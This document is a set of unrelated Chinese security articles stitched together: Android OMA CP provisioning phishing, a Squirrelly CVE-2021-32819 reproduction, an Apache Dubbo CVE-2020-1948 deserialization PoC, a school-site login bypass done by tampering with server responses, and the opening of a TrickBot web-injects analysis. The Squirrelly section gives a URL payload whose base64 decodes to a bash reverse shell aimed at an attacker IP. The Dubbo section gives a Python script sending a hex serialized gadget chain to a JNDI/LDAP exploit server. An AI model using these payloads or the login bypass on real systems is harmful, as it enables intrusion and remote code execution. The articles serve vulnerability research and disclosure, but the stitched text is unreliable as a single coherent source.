Point研究人员最近发现针对某些Android手机的高级钓鱼攻击技术，涉及到的厂商包括Samsung、Huawei、LG以及Sony。在这种攻击场景中，远程代理可以诱骗用户接受新的手机设置，然后进行后续攻击，比如将互联网流量通过攻击者控制的代理进行路由。
这种攻击技术依赖于OTA配置（over-the-air
provisioning）机制，移动网络运营商通常会使用这种机制向新入网的手机部署特定的网络配置。然而在本文中我们可以看到，任何人其实都可以发送OTA
Provisioning信息。
OTA Provisioning的行业标准为Open Mobile Alliance Client Provisioning（OMA
CP，开放移动联盟客户端配置），其中包括相当有限的一些认证方法，接收端无法验证对方建议的设置是否来自于网络运营商或者来自于仿冒者。我们调查后发现，Samsung、Huawei、LG以及Sony生产的手机（根据2018年的[统计信息](http://gs.statcounter.com/vendor-market-share/mobile/worldwide/)，这几家厂商占有Android手机50%以上的市场份额）允许用户接收基于弱认证的恶意配置信息。与此同时，Samsung手机也允许未认证的OMA
CP信息。
我们在3月份向受影响的厂商报告了研究成果。Samsung在5月份的安全维护发行版（SVE-2019-14073）中修复了这种钓鱼漏洞，LG在7月份（LVE-SMP-190006）发布了补丁，Huawei准备在下一代的Mate系列或者P系列手机中加入针对OMA
CP的特殊UI提示，Sony拒绝承认该漏洞，表示他们生产的设备遵循OMA CP规范。目前OMA将该问题标记为OPEN-7587，正在跟踪处理。
## 0x01 攻击过程
为了发送OMA
CP消息，攻击者需要一个GSM调制解调器（10美元的USB设备或者以调制解调器模式运行的一部手机），利用GSM调制解调器来发送二进制SMS消息。此外还需要一个简单的脚本或者现成的软件，来组装OMA
CP消息。
攻击者可以精心筛选CP钓鱼消息，比如通过针对性的自定义文本消息来缩小收件方范围，或者大量发送钓鱼消息，在不引起怀疑的情况下使部分用户上钩。
攻击者可以使用OMA CP，通过OTA方式修改手机端的如下设置：
* MMS消息服务器
* 代理地址
* 浏览器主页及书签
* 邮件服务器
* 用来同步联系人和日历的目录服务器
等等。
在如下演示场景中，我们假设攻击者尝试诱骗受害者将所有流量通过攻击者控制的代理进行路由。
### 未认证（Samsung）
为了攻击使用Samsung手机的用户，攻击者可以向这些用户发送未认证的OMA
CP消息，其中指定攻击者控制的一个代理地址。这里要强调的是，攻击者不需要解决身份认证问题，用户只要接受CP请求就会被成功攻击。
图1. Samsung用户看到的未认证CP消息
### 使用IMSI进行认证
如果攻击者拿到了Huawei、LG或者Sony手机用户的IMSI（International Mobile Subscriber
Identity，国际移动用户识别码）信息，那么就可以像攻击Samsung手机用户那样对这些用户发起钓鱼攻击。
IMSI是移动网络上与每部设备的对应的一个64位标识符，从GSM到3G时代一直在使用。该号码用于路由，大致相当于计算机网络中的IP地址概念。用户所使用的IMSI有一定的机密性，但具备如下特点：
* IMSI码需要适用于所有网络运营商，因为路由数据时或者呼叫某个移动用户时需要将移动号码解析为IMSI码。
* 因此，转发和解析IMSI查询（将移动号码转成IMSI，或者相反操作）对于商业供应商来说易如反掌。
* 恶意的Android应用可以通过标准API（`(TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE)).getSubscriberId()`）来读取用户IMSI码（只要应用具备`permission.READ_PHONE_STATE`权限）。在过去3年中，有1/3的Android应用会请求这个权限，因此该操作不会引起用户怀疑。
* 大家可以观察SIM卡，上面会刻有或者印有ICCID信息，而ICCID通常与IMSI相匹配。
OMA
CP消息中有一个可选的安全头部，可以用来验证CP的真实性。当使用接收方的IMSI码验证CP后，Huawei、LG以及Sony手机就允许安装恶意设置。需要注意的是，这些手机在提示用户安装CP时，并不会显示该CP的详细信息，并且没有以任何方式来标识CP的发送方。
图2. Sony用户看到的经过NETWPIN认证的CP消息
### 使用PIN进行认证
如果攻击者无法获得IMSI码，攻击者可以向每个受害者发送两条消息。第一条是文本消息，假装消息来自于网络运营商，要求用户接受经过PIN保护的OMA
CP，并且将PIN设置为任意的4位数字。接下来，攻击者向受害者发送经过相同PIN码认证的OMA
CP消息。通过这种方式，只要受害者接受CP，输入正确的PIN码，攻击者可以在不掌握IMSI信息的情况下安装CP。
图3. Huawei用户看到的经过USERPIN认证的CP消息
## 0x02 技术背景
Provisioning是一种配置过程，可以对特定环境中需要正常运行的设备进行配置。OTA
Provisioning的最初应用场景就是用来部署运营商指定的配置，比如运营商MMS服务中心地址等。企业也可以使用该功能来部署配置信息，比如向雇员设备部署邮件服务器地址。OMA
CP是OMA为OTA配置场景推出的两个标准之一，最早可以追溯到2001年，最新的标准由2009年推出。
我们研究后发现，即使经过十多年的发展，OMA CP中仍然存在一些安全问题。Android的基础版本并不能处理OMA CP消息，但由于OMA CP是OTA
Provisioning的行业标准，因此许多厂商定制版支持该功能。该标准中允许（但没有强制要求）CP消息使用USERPIN、NETWPIN或者其他方法进行认证，但这种场景比较少使用。
任何SMS消息（文本消息、MMS、语音邮件通知或者其他消息）都会使用SM-TP（Short Message Transfer
Protocol，短消息传输协议，即GSM 03.40）指定的PDU（Protocol Data Unit，协议数据单元）进行发送。GSM
PDU中包含OMA CP载荷（payload），其中包括：
* 位于`bearer`层的SM-TP头，指定收件方的手机号码及数据编码方案。
* 位于`transport`层的UDH（User Data Header，用户数据头），包括：
* WDP（Wireless Datagram Protocol，无线数据报协议）头，指定目标端口`2948`（`wap-push`）以及源端口`9200`（`wap-wsp`）；
* 可选的连接信息头：每个PDU对应的用户数据大小限制为140个字节，更长的消息必须被分段传输。
* 位于`session`层的WSP（Wireless Session Protocol，无线会话协议）头，包含认证消息（如果消息经过身份认证）。
* 位于`application`层的WBXML（WAP Binary XML），包含具体载荷。
在前面的演示场景中，我们针对Samsung手机设计的（未经认证的）最初PoC中包含如下XML载荷，其中代理地址及端口号已在下图中高亮标出：
图4. OMA CP XML载荷
承载该载荷的完整OMA CP会被切分成两条SMS消息，如下图所示：
图5. 被切分的OMA CP消息
在WBXML字符串中，代理地址及端口号（使用与图4相同的颜色高亮标出）以非空ASCII字符串形式表示，而字符串定义位于XML中。比如在WBXML中，元素名、`type`及`name`属性值均采用固定大小的1字节值来表示。
WBXML载荷紧跟在WSP头之后，该头部中包括消息认证码，认证码为ASCII十六进制字符串，使用收件方的IMSI计算得出。
## 0x03 总结
在本文中，我们介绍了针对Android手机的一种高级钓鱼技术。攻击者只要拥有廉价的USB调制解调器，就可以利用这种攻击技术，诱骗用户在手机上安装恶意配置。为了攻击存在漏洞的手机，攻击者需要知道受害者的IMSI码。如果Android应用具备`READ_PHONE_STATE`权限，就可以获取IMSI信息。
我们在Huawei P10、LG G6、Sony Xperia XZ Premium以及Samsung Galaxy系列手机上（包括S9）验证了PoC。 | 社区文章 |
[toc]
## 漏洞概述
[Squirrelly](https://github.com/squirrellyjs/squirrelly) 是一个用 JavaScript
实现的现代、可配置且速度极快的模板引擎。它与 ExpressJS 一起开箱即用，完整版的 gzip 压缩后仅重约 4KB。
2021 年 5 月 14 日，在 SquirrellyJS 从 v8.0.0 到 v8.0.8
及以上的版本爆出了一个漏洞（CVE-2021-32819）。官方对该漏洞原因的描述如下：
> The Express render API was designed to only pass in template data. By
> allowing template engine configuration options to be passed through the
> Express render API directly, downstream users of an Express template engine
> may inadvertently introduce insecure behavior into their applications with
> impacts ranging from Cross Site Scripting (XSS) to Remote Code Execution
> (RCE).
大致原因就是 Squirrelly 通过 Express 渲染 API 将纯模板数据与引擎配置选项混合。攻击者可以通过请求查询来覆盖并控制全局变量
`defaultConfig` （一组内部模板引擎配置选项）中的`defaultFilter`
属性。下游用户可能会无意中将不安全的行为引入他们的应用程序。该漏洞影响范围从跨站点脚本（XSS）到远程代码执行（RCE）。
## 漏洞复现
这里我们在 Linux 服务器上进行测试。
### 环境搭建
安装 Nodejs 环境、Node Package Manager（NPM）以及 ExpressJS 和 SquirellyJS 模块：
sudo apt update
sudo apt install nodejs npm
mkdir CVE-2021-32819 && cd CVE-2021-32819
npm install express
npm install squirrelly
然后编写如下易受攻击的服务端代码：
* server.js
const express = require('express')
const squirrelly = require('squirrelly')
const app = express()
app.set('views', __dirname);
app.set('view engine', 'squirrelly')
app.use(express.urlencoded({ extended: false }));
app.get('/', (req, res) => {
res.render('index.squirrelly', req.query)
})
var server = app.listen(3000, '0.0.0.0', function () {
var host = server.address().address
var port = server.address().port
console.log("Listening on http://%s:%s", host, port)
});
编写模板文件：
* index.squirrelly
<!DOCTYPE html>
<html>
<head>
<title>CVE-2021-32819</title>
<h1>Test For CVE-2021-32819</h1>
</head>
<body>
<h1>{{it.variable}}</h1>
</body>
</html>
运行服务端代码：
node server.js
### 漏洞验证
首先在攻击机上开启 nc 监听：
nc -lvp 2333
然后发送如下 payload：
http://192.168.226.148:3000/?defaultFilter=e'))%3B%20let%20require%20%3D%20global.require%20%7C%7C%20global.process.mainModule.constructor._load%3B%20require('child_process').exec('echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xNDMvMjMzMyAgMD4mMQ%3D%3D%7Cbase64%20-d%7Cbash')%3B%20%2F%2F
# http://192.168.226.148:3000/?defaultFilter=e')); let require = global.require || global.process.mainModule.constructor._load; require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xNDMvMjMzMyAgMD4mMQ==|base64 -d|bash'); //
如下图所示，成功反弹 Shell：
## 漏洞分析
当我们发送如下请求后：
/?defaultFilter=HelloWorld
Express 最终都会通过这个 `engine` 来调用 Squirrelly 模板引擎中的 `renderFile`
函数进行渲染（node_modules/express/lib/view.js）：
我们跟进 Squirrelly 模板引擎中的 `renderFile` 函数
### renderFile
`renderFile` 函数可以传入以下三个参数：
* filename：模板文件的路径
* data：包含请求查询的模板数据，大致如下：
{
settings: {
...,
},
variable: "HelloWorld",
_locals: {},
cache: false,
}
* cb：定义一个回调函数
`renderFile` 函数首先调用了 `getConfig` 函数，然后有调用了 `tryHandleCache` 函数，我们首先跟进
`getConfig`。
### getConfig
* override：该参数包含请求查询的模板数据，大致如下：
{
settings: {
...,
},
variable: "HelloWorld",
_locals: {},
cache: false,
}
* baseConfig：该参数未定义
`getConfig` 函数首先将 `res` 变量定义为一个空对象，然后将全局变量 `defaultConfig`（一组编译配置选项）的内容复制到
`res` 对象中，然后跳过 `baseConfig` 条件，然后将 `override` 的内容覆盖到 `res` 对象中，最后将 `res` 返回到
`renderFile` 函数作用域中的 `Config` 变量中。此时 `Config` 变量的内容如下：
{
varName: 'it',
...,
autoEscape: true,
defaultFilter: false,
...,
settings: {...},
variable: 'HelloWorld',
...
}
请求查询被赋给 `Config` 对象，这是一组编译选项，这就意味着发送者可以覆盖 `Config` 属性值。
调用完 `getConfig` 函数只会，`renderFile` 函数有调用了 `tryHandleCache` 函数，跟进
`tryHandleCache`。
### tryHandleCache
* options：是一组编译选项
{
varName: "it",
...,
autoEscape: true,
defaultFilter: false,
tags: ["{{", "}}"],
...,
variable: "HelloWorld",
_locals: {},
...
}
* data：包含请求查询的模板数据
{
settings: { ... },
variable: "HelloWorld",
_locals: {},
cache: false,
}
* cb：定义一个回调函数
`tryHandleCache` 函数会调用 `handleCache` 函数，跟进 `handleCache`。
### handleCache
* options：是一组编译选项
{
varName: "it",
autoTrim: [
false,
"nl",
],
autoEscape: true,
defaultFilter: false,
...,
variable: "HelloWorld",
_locals: {
},
...
}
`handleCache` 函数将获取模板文件（index.squirrelly）的内容，然后调用 `compile` 函数。
### compile
* str：该参数是前面通过 `handleCache` 函数获取到的模板文件（index.squirrelly）的内容：
"<!DOCTYPE html>\n<html>\n <head>\n <title>CVE-2021-32819</title>\n <h1>Test For CVE-2021-32819</h1>\n </head>\n<body>\n <h1>{{it.variable}}</h1>\n</body>\n</html>"
* env：是一组编译选项
{
varName: "it",
autoTrim: [
false,
"nl",
],
autoEscape: true,
defaultFilter: false,
...,
variable: "HelloWorld",
_locals: {
},
...
}
`compile` 函数将编译选项定义为 env，然后在创建一个名为 ctor 的函数构造的别名，然后返回一个新的构造函数，最后进入到
`compileToString` 函数。跟进 `compileToString`。
### compileToString
* str：该参数是前面通过 `handleCache` 函数获取到的模板文件（index.squirrelly）的内容
"<!DOCTYPE html>\n<html>\n <head>\n <title>CVE-2021-32819</title>\n <h1>Test For CVE-2021-32819</h1>\n </head>\n<body>\n <h1>{{it.variable}}</h1>\n</body>\n</html>"
* env：是一组编译选项
{
varName: "it",
autoTrim: [
false,
"nl"],
autoEscape: true,
defaultFilter: false,
...,
variable: "HelloWorld",
_locals: {},
...
}
`compileToString` 函数定义一个 `buffer` 缓冲区并调用解析函数 `parse` 来解析模板内容及其变量：
[
"<!DOCTYPE html>\n<html>\n <head>\n <title>CVE-2021-32819</title>\n <h1>Test For CVE-2021-32819</h1>\n </head>\n<body>\n <h1>",
{
f: [
],
c: "it.variable",
t: "i",
},
"</h1>\\n</body>\\n</html>",
]
其中 `compileToString` 函数调用了 `compileScope` 函数，跟进 `compileScope`。
### compileScope
export function compileScope (buff: Array<AstObject>, env: SqrlConfig) {
var i = 0
var buffLength = buff.length
var returnStr = ''
for (i; i < buffLength; i++) {
var currentBlock = buff[i]
if (typeof currentBlock === 'string') {
var str = currentBlock
returnStr += "tR+='" + str + "';"
} else {
var type: ParsedTagType = currentBlock.t as ParsedTagType // h, s, e, i
var content = currentBlock.c || ''
var filters = currentBlock.f
var name = currentBlock.n || ''
var params = currentBlock.p || ''
var res = currentBlock.res || ''
var blocks = currentBlock.b
var isAsync = !!currentBlock.a
if (type === 'i') {
if (env.defaultFilter) {
content = "c.l('F','" + env.defaultFilter + "')(" + content + ')'
}
var filtered = filter(content, filters)
if (!currentBlock.raw && env.autoEscape) {
filtered = "c.l('F','e')(" + filtered + ')'
}
returnStr += 'tR+=' + filtered + ';'
} else if (type === 'h') {
...
} else if (type === 's') {
...
} else if (type === 'e') {
...
}
}
}
return returnStr
}
* buff：一个包含之前解析生成的模板内容的数组
[
"<!DOCTYPE html>\n<html>\n <head>\n <title>CVE-2021-32819</title>\n <h1>Test For CVE-2021-32819</h1>\n </head>\n<body>\n <h1>",
{
f: [
],
c: "it.variable",
t: "i",
},
"</h1>\\n</body>\\n</html>",
]
* env：是一组编译选项
{
varName: "it",
autoTrim: [false, "nl"],
autoEscape: true,
defaultFilter: false,
...,
variable: "HelloWorld",
_locals: { },
...
}
`compileScope` 中主要就是一个 for 循环，遍历 buff 中的模板内容，如果元素是一个字符串，它会将字符串添加到 `returnStr`
变量中。如果它不是字符串，则继续执行 else 部分。
其中第一个元素 `buff[0]`和最后一个元素 `buff[2]` 是一个字符串：
[
"<!DOCTYPE html>\n<html>\n <head>\n <title>CVE-2021-32819</title>\n <h1>Test For CVE-2021-32819</h1>\n </head>\n<body>\n <h1>",
......
"</h1>\\n</body>\\n</html>",
]
中间的元素 `buff[1]` 是一个对象：
{
f: [],
c: "it.variable",
t: "i",
}
`compileScope` 函数会检查 `env.defaultFilter` 是否设置了，如果有设置 `env.defaultFilter`，则将
`env.defaultFilter` 的值添加到 `content` 变量中。但是现在 `env.defaultFilter` 还是没有被设置的。然后
`filter` 函数将 `content` 内容返回给 `filtered` 变量：
tR+='<!DOCTYPE html>\n<html>\n <head>\n <title>CVE-2021-32819</title>\n <h1>Test For CVE-2021-32819</h1>\n </head>\n<body>\n <h1>';
tR+=c.l('F','e')(it.variable);
tR+='</h1>\\n</body>\\n</html>';
最后将 `filtered` 的内容添加到 `returnStr` 变量中并返回给 `compileToString` 函数作用域的 `res`
变量中，然后再由 `compileToString` 函数将 `res` 变量的内容拼接成一个匿名函数，内容如下：
var res = "var tR='';" + "tR+='<!DOCTYPE html>\n<html>\n <head>\n <title>CVE-2021-32819</title>\n <h1>Test For CVE-2021-32819</h1>\n </head>\n<body>\n <h1>';tR+=c.l('F','e')(it.variable);tR+='</h1>\\n</body>\\n</html>';" + 'if(cb){cb(null,tR)} return tR'
// it.variable 的值为 HelloWorld
当返回到 `handleCache` 函数时，将会执行匿名函数：
(function anonymous(it,c,cb
) {
var tR='';
tR+='<!DOCTYPE html>\n<html>\n <head>\n <title>CVE-2021-32819</title>\n <h1>Test For CVE-2021-32819</h1>\n </head>\n<body>\n <h1>';
tR+=c.l('F','e')(it.variable);
tR+='</h1>\n</body>\n</html>';
if(cb){cb(null,tR)}
return tR
})
看到这里你应该就明白了。这个漏洞主要的引入点就是 `compileScope` 函数中的 `env.defaultFilter`，我们可以通过 URL
中的参数来覆盖这个配置属性的值，比如：`/?defaultFilter=payload` 可以将 `env.defaultFilter` 的值覆盖为我们的
payload。并且一旦设置了 `env.defaultFilter` 的值，将进入到以下代码：
content = "c.l('F','" + env.defaultFilter + "')(" + content + ')';
可知我们可以通过设置 `env.defaultFilter` 的值来注入希望执行的代码。所以该漏洞利用的 Payload 如下：
http://192.168.226.148:3000/?defaultFilter=e')); let require = global.require || global.process.mainModule.constructor._load; require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xNDMvMjMzMyAgMD4mMQ==|base64 -d|bash'); //
# 使用时需进行 URL 编码
## 可能受到该漏洞影响的项目
分析github上100星以上的项目，共有380个项目使用了squirrelly组件，其中有42个项目使用了存在漏洞的8.0.8版本，具体的项目清单如下，有使用的TX可以自查一下：
项目名称 | 项目url
---|---
open-olive/vscode-loop-development-kit | <https://github.com/open-olive/vscode-loop-development-kit>
mizchi/uniroll | <https://github.com/mizchi/uniroll>
reissmatt/risen-one-mission-platform | <https://github.com/reissmatt/risen-one-mission-platform>
rpenco/light-webhook | <https://github.com/rpenco/light-webhook>
JuanFdS/scriptBolaMagica | <https://github.com/JuanFdS/scriptBolaMagica>
xnite/kittencore | <https://github.com/xnite/kittencore>
adamuchi/login-with-demo | <https://github.com/adamuchi/login-with-demo>
Berzok/Verena_Codex | <https://github.com/Berzok/Verena_Codex>
diamondv5/SE-nonoffical | <https://github.com/diamondv5/SE-nonoffical>
sitevision/sitevision-apps | <https://github.com/sitevision/sitevision-apps>
abyrvalg/pleh4 | <https://github.com/abyrvalg/pleh4>
Riscue/drone-tool-settings | <https://github.com/Riscue/drone-tool-settings>
reissmatt/risen-one-mission-platform | <https://github.com/reissmatt/risen-one-mission-platform>
ZohaibArshad12/muze-beta | <https://github.com/ZohaibArshad12/muze-beta>
HieuKma/squirrelly-template-11 | <https://github.com/HieuKma/squirrelly-template-11>
mcoop320/hls-media-server | <https://github.com/mcoop320/hls-media-server>
yummyweb/neuron-js | <https://github.com/yummyweb/neuron-js>
donaldskip326/gauzy1 | <https://github.com/donaldskip326/gauzy1>
HieuKma/squirrelly-template-10 | <https://github.com/HieuKma/squirrelly-template-10>
shuvalov-mdb/xstate-cpp-generator | <https://github.com/shuvalov-mdb/xstate-cpp-generator>
googleapis/google-cloudevents-python | <https://github.com/googleapis/google-cloudevents-python>
googleapis/google-cloudevents-python | <https://github.com/googleapis/google-cloudevents-python>
NgoDucPhu/squirrelly-template | <https://github.com/NgoDucPhu/squirrelly-template>
kimha0/clone-you/ _这都敏感词_ /tube | <https://github.com/kimha0/clone-you/*这都敏感词*/tube>
nervetattoo/simple-thermostat | <https://github.com/nervetattoo/simple-thermostat>
adobe/ferrum.doctest | <https://github.com/adobe/ferrum.doctest>
donaldskip326/gauzy1 | <https://github.com/donaldskip326/gauzy1>
donaldskip326/gauzy1 | <https://github.com/donaldskip326/gauzy1>
ever-co/ever-gauzy | <https://github.com/ever-co/ever-gauzy>
nqnghia285/music-app | <https://github.com/nqnghia285/music-app>
CandyMan999/lmp-v2 | <https://github.com/CandyMan999/lmp-v2>
tabarra/txAdmin | <https://github.com/tabarra/txAdmin>
ever-co/ever-gauzy | <https://github.com/ever-co/ever-gauzy>
ever-co/ever-gauzy | <https://github.com/ever-co/ever-gauzy>
recoai/recoai-ts-sdk | <https://github.com/recoai/recoai-ts-sdk>
donaldskip326/gauzy1 | <https://github.com/donaldskip326/gauzy1>
ever-co/ever-gauzy | <https://github.com/ever-co/ever-gauzy>
baovit72/Solance | <https://github.com/baovit72/Solance>
reissmatt/risen-one-mission-platform | <https://github.com/reissmatt/risen-one-mission-platform>
## 漏洞防御措施
该漏洞到目前为止还没有被修复，所以如果你在项目中使用了 Squirrelly
组件，那么都需要小心该类型漏洞的出现。而对于不得已必须使用这种技术的项目，最好做好防御措施，包括：
* 降低运行该进程的用户的权限
* 限制该进程可以访问的路径
* 对用户输入进行白名单控制
* 对于该进程可以执行的操作系统命令做白名单控制
## Ending......
> 参考：
>
> <https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/>
>
> <https://blog.diefunction.io/vulnerabilities/ghsl-2021-023>
>
> <https://github.com/Abady0x1/CVE-2021-32819> | 社区文章 |
# Apache Dubbo（CVE-2020-1948）反序列化详细分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
之前的文章分析了Dubbo的一个反序列化漏洞-CVE-2019-17564，这次来分析一下另外一个dubbo的漏洞-CVE-2020-1948，加深对Dubbo反序列化利用的理解。这次两种利用方式，以其中一种为主，另外一种简单介绍一下。
## 0x01 关于Dubbo和CVE-2020-1948
Apache Dubbo是基于Java的高性能开源RPC框架。它提供了三大核心功能：面向接口的远程方法调用，智能容错和负载均衡，以及服务自动注册和发现。
附一张Dubbo架构：
Apache Dubbo 2.7.6或更低版本采用默认反序列化方式（Hessian2）实现反序列化，其中存在反序列化RCE漏洞。
攻击者可以发送未经验证的服务名或方法名的RPC请求，当服务端存在可以被利用的第三方库时，payload被反序列化后形成可被利用的攻击链，直接对Dubbo服务端进行恶意代码执行。
## 0x02 环境搭建
1.首先下载官方dubbo-spring-boot-project项目，并修改版本为漏洞版本2.7.6
2.然后修改pom文件，添加攻击依赖
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>
3.然后使用maven或者idea打包构建项目，并用较低版本的jdk启动Provier
4.使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar生成JNDI链接并启动后端相关服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 127.0.0.1
5.编写POC.py包含恶意反序列化对象，反序列化后会访问JNDI利用链，并运行
import socket
def sendEvilObjData(sock):
payload="DABBC20000000000000000000000037805322E302E3230366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F5365727669636505312E302E300474657374124C6A6176612F6C616E672F4F626A6563743B48433027636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E457175616C734265616E92036F626A096265616E436C61737360433029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E92036F626A096265616E436C61737361431D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706CAC06706172616D73096C697374656E657273036D61700A6368617253747265616D0B617363696953747265616D0D756E69636F646553747265616D0C62696E61727953747265616D0F7374724D61746368436F6C756D6E730D694D61746368436F6C756D6E73057265734D4406726F77734D4402727302707304636F6E6E09666574636853697A650866657463684469720969736F6C6174696F6E1065736361706550726F63657373696E6708726561644F6E6C790B636F6E63757272656E63790C6D61784669656C6453697A65076D6178526F77730C717565727954696D656F75740B73686F7744656C657465640A726F77536574547970650A64617461536F757263650355524C07636F6D6D616E64624D136A6176612E7574696C2E486173687461626C655A4E4E4E4E4E4E56106A6176612E7574696C2E566563746F729A03666F6F4E4E4E4E4E4E4E4E4E56919A8F8F8F8F8F8F8F8F8F8F4E4E4E4E4E90CBE8925454CBF090909046CBEC1D6C6461703A2F2F3132372E302E302E313A313338392F4578706C6F69744E4E430F6A6176612E6C616E672E436C61737391046E616D65631D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706C633029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E5191519151915A48047061746830366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F5365727669636509696E7465726661636530366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F536572766963650776657273696F6E05312E302E305A"
sock.send(payload.decode('hex'))
def run(dip,dport):
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server_addr=(dip,dport)
sock.connect(server_addr)
sendEvilObjData(sock)
run("127.0.0.1",12345)
## 0x03 两种方式详细分析
### 第一种
首先在DecodeHandler#received下断点，可以看到使用了this.decode函数对request请求中的参数进行了解码处理
步入到this.decode函数后，再继续步入DecodeableRpcInvocation#decode，进行相关处理后，到达利用hessian2的readObject函数进行反序列化处
步入Hessian2Input#readObject，根据相应的tag进行数据处理，最后进入到reader.readMap函数
在readMap中进行更加详细的数据处理后，调用doReadMap函数
在doReadMap函数中，调用map.put方法，然后通过HashMap触发对应的hashCode方法实现反序列化
步入到EqualsBean#hashCode函数，可以看到最后又调用了toString()
步入后进入到ToStringBean#toString()，之后继续调用本类一个参数的toString(String prefix)函数
在toString(String
prefix)中，在获取到对象的属性和方法后，会通过java实现的invoke方法动态调用传入对象的所有方法对象，我们的恶意代码也会执行，造成RCE
### 第二种
这种方式主要利用了当正常的Dubbo调用找不到service时会爆出异常，并且没有对rome的ToStringBean类进行黑名单处理，因此在抛出异常输出这个对象信息时隐式调用了其toString方法，最终也是进入到toString(String
prefix)中执行恶意代码。
## 0x04 结语
本文我们详细的跟踪了CVE-2020-1948的利用过程，相信对于Java反序列化以及Dubbo的反序列化的利用已经非常清楚了。 | 社区文章 |
# 写在前面
之前注册了edusrc，搞了本证书后就很少打edu了，可是还闲着很多金币在里面，也没什么东西换，寻思着再搞本证书，便有了这篇文章的出现。此文章中所有漏洞均已提交至edusrc并已经修复。
# 过程
漫长的信息收集……子域名、目录等等信息，这里也就不说了，直接略过。
这里找到了其中一个子域名存在有登陆系统，我便直接上手了。
[
这里我输入的账户是admin，密码是123456（这里注意要用TAB键来切换）：
[
然后用Burp Suite抓包：
[
一开始先在`options`选项里勾选`Intercept responses`，目的是抓响应包：
[
然后便一直Forward发到最后一个包，看见这里用xml来传输返回的数据，即这个，其中返回的值为False：
[
在规范性的接口开发中，一般数据传输方面是以json或者xml的格式传送的。而这里用的就是xml来传输数据，那么如果我们把其中传输的数据修改一下呢？所以这里我便将传输的数据从False改成了True，再Forward发包：
[
可以看到页面弹出此框：
[
这里已经登录成功：
[
同理这里先注销，然后用户名随便输，密码也随便输，都是可以登录上去的：
[
[
[
把其中的False改成True，再Forward发包：
[
成功登录：
[
[
接下来按TAB键切换到进入管理平台：
[
回车便成功进去了，这里进入`https://x.x.x.x/Face/0/Main0.aspx?`的页面：
[
可是这里没什么功能点。正当我一筹莫展的时候，我看到了url中的`/0`，那如果把它修改为其它数字，会不会跳转到其它的页面呢？于是我便修改其为`/1`，果真跳转到了另外一个后台页面，url为`https://x.x.x.x/Face/1/Main0.aspx?`页面：
[
可是还是没有什么功能点，那么就再改成`/2`，url为`https://x.x.x.x/Face/2/Main0.aspx?`页面。这时似乎出现了一些功能点了，可是却要我们重新登录：
[
那么这里再用Burp Suite开启抓包，重新访问页面：
[
然后便一直Forward发到最后一个包，看见这里用xml来传输返回的数据:
[
把其中的False改成True，成功。这里显示有消息15条，通知23条，邮件300封，然后点击开始有个欢迎您进入系统，有挺多功能点的：
[
那么接着看下一个。修改为3，url为`https://x.x.x.x/Face/3/Main0.aspx?` 页面：
[
同理burp抓包，继续Forward发包最后一个包，看见这里用xml来传输返回的数据，把其中的False改成True：
[
成功，同样存在许多功能点：
[
修改为4，url为`https://x.x.x.x/Face/4/Main0.aspx?`
页面，同理burp抓包，Forward发包最后一个包，看见这里用xml来传输返回的数据，把其中的False改成True：
[
成功:
[
修改为5，url为`https://x.x.x.x/Face/5/Main0.aspx?`
[
然后再往以后就无了。
[
那就到这了。 | 社区文章 |
# 【技术分享】TrickBot银行木马Web Injects分析
|
##### 译文声明
本文是翻译文章，文章来源：uperesia.com
原文地址：<https://www.uperesia.com/how-trickbot-tricks-its-victims>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[blueSky](http://bobao.360.cn/member/contribute?uid=1233662000)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
目前，网上已经有很多关于 **TrickBot**
（该恶意软件一度被认为是Dyre银行恶意软件的继承者）木马的分析报告。然而，很少有文章对用于欺骗其受害者的木马核心组件 **web injects**
进行分析，因此在本文中我将深入对web injects进行研究和分析。
**
**
**Web injects**
Web injects通常是一段 **HTML** 或者 **javascript**
代码，这些代码通常被注入到浏览器打开的网页（主要是银行网站）中，允许木马更改或替换网页中的内容或者在网页中显示其他字段。 网络攻击者使用Web
injects窃取用户在网页上输入的登录凭证，或者向用户发送诱骗其他凭证的请求（非银行发送的请求），例如pin码等。因此，Web
injects（也称为发生在浏览器中的攻击）是一种“高明”的技术手段，网络攻击者可以利用该技术实施社会工程攻击或者或自动改变受害者进行的货币交易。
与Dyre木马软件使用的Web injects类型一样，TrickBot使用两种类型的Web
injects：“web伪造”和“服务器端注入”。TrickBot将其Web
injects定义并存储在类似XML的树结构中，配置列表中的每一项定义了目标（银行）网站，web inject类型和托管web
inject服务器的IP地址。图1所示的是一个配置列表，该配置列表是在TrickBot进程的内存中找到的。在本文的其余部分中，我将对TrickBot使用的这两种Web
injects类型进行阐述。对于每个Web injects类型，我还将阐述银行可以在服务器端用来检测TrickBot的防御措施。
图1：TrickBot配置列表
**
**
**Web伪造**
TrickBot的web伪造是一种网络注入技术，该技术在受害者浏览银行网站时，会将受害者重定向到恶意的服务器。通过伪造银行网站的登录页面，恶意网站服务器有效地将受感染的用户从银行的正版网站诱骗到伪造的恶意网站中来。在TrickBot的Web
injects配置列表（如图1所示）中，Web伪造使用sinj标签定义。当受害者登录到伪造的银行网站时，他通常会看到一个“please
wait”消息，一旦用户在登录框中输入登录凭证，那么凭证数据便会被发送给攻击者（如图2所示）。
图2：伪造银行登录网页
